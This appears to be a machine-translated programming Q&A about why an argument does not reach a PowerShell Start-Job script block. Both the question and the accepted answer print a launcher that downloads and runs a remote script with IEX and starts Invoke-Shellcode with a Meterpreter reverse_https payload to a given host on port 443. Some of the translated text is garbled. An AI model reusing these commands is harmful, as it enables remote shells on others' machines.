ScriptBlock中的参数未正确展开

时间:2015-11-15 21:32:44

标签: powershell start-job

$foo = @("string.here")

foreach ($num in $foo) {
    $s = { $WebClientObject = New-Object Net.WebClient
           IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
           $temp = $args[0]
           MyCommandlet -Lhost "$temp"
           Write-Host "$temp"
         }

    $id = [System.Guid]::NewGuid()
    $jobs += $id   
    Start-Job -Name $id -ScriptBlock $s -args $num
}

this修改。 修改:为清晰起见,删除了不必要的代码。

MyCommandlet期望在使用之前检查的变量(此处为-Lhost $temp)(它不应为null或空)。

尝试运行上述脚本时收到以下错误消息。

  

Invoke-Shellcode:无法验证参数' Lhost'的参数。参数为null或空。提供非null或空的参数,然后再次尝试该命令。

修改Invoke-Shellcode是原始的Commandlet,我将其引用为MyCommandlet。出于安全原因,我不想包含完整代码(以防人们自己运行脚本)。有关更多详细信息,请参阅此处的代码 https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

原始的ScriptBlock就像(参见$ temp变量)

{
   $WebClientObject = New-Object Net.WebClient
   IEX $WebClientObject.DownloadString('PAYLOAD_URL')
   Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}

本质上,变量未正确传递给我的MyCommandlet,而Write-Host $temp在同一个上下文中返回非空值(这是正确的)。我知道变量不会传递给其他ScriptBlock,特别是如果它在新工作中运行,但由于Write-Host能够在作业内正确读取值,还有一些我必须错过的。

根据一些帖子的建议,我尝试了以下替代方案:

  • ...} -ArgumentList $temp(在ScriptBlock之后) http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/
  • {param($temp) ...}(在ScriptBlock的开头)
  • 直接使用Start-Job -ScriptBlock {...},而不是变量 ScriptBlock。 [scriptblock]::Create(...)宣布 ScriptBlock
  • 使用Invoke-Command代替Start-Job,而不是Start-Job 只是它不起作用(虽然工作略有不同),我 如果可能的话,我想坚持$using:variable
  • 我想避免使用Powershell V3.0 $ meteor remove <package_name> 功能。另外,它在我尝试的配置中不起作用。

这些都不适合我。

1 个答案:

答案 0 :(得分:0)

我找到了一个有效的解决方案,它依赖于使用环境变量,例如$env:myvar。为了解决上述问题,我采用了这种方式:

$foo = 'string_var'
$env:temp_var = $($foo)      

$s = { $WebClientObject = New-Object Net.WebClient
       IEX $WebClientObject.DownloadString('PAYLOAD_URL')
       Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $env:temp_var -Lport 443 -Force -Proxy
       #Write-Host $env:temp_var
     }

$id = [System.Guid]::NewGuid()
$jobs += $id   
Start-Job -Name $id -ScriptBlock $s

# Clean-up
Remove-Item env:\temp_var

有关Powershell中环境变量的更多详细信息,请参阅https://technet.microsoft.com/en-us/library/ff730964.aspx

ps :对我来说,为什么上面提出的选项不起作用仍然没有意义......如果有人有任何解释,那将是非常受欢迎的。< / p>